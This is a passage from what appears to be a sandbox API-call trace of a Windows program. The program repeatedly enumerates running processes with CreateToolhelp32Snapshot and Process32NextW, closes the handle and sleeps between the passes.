th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.161] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.161] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.162] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.163] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.164] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.165] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0242.166] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.167] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.168] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.169] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.170] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.171] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.172] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.173] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.174] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.175] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.176] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0242.177] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0242.177] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.178] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.179] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0242.180] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0242.181] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0242.182] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0242.183] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0242.184] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0242.185] CloseHandle (hObject=0x1ec) returned 1 [0242.185] Sleep (dwMilliseconds=0x1f4) [0242.964] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0242.968] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.969] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.970] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.971] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.972] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.972] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.973] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.974] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.975] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.976] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0242.977] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.978] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.980] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.981] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.981] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.982] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.983] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.984] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.985] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.986] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.987] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0242.988] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0242.989] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.990] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.991] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0242.992] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0242.993] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0242.994] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0242.995] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0242.996] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0242.997] CloseHandle (hObject=0x1e0) returned 1 [0242.997] Sleep (dwMilliseconds=0x1f4) [0244.089] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0244.094] Process32FirstW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.095] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.096] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.097] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.097] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.098] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.099] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.100] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.102] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.103] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0244.104] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.105] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.106] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.107] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.108] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.109] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.110] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.111] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.112] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.113] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.114] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0244.115] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0244.116] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.117] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.119] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0244.120] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, 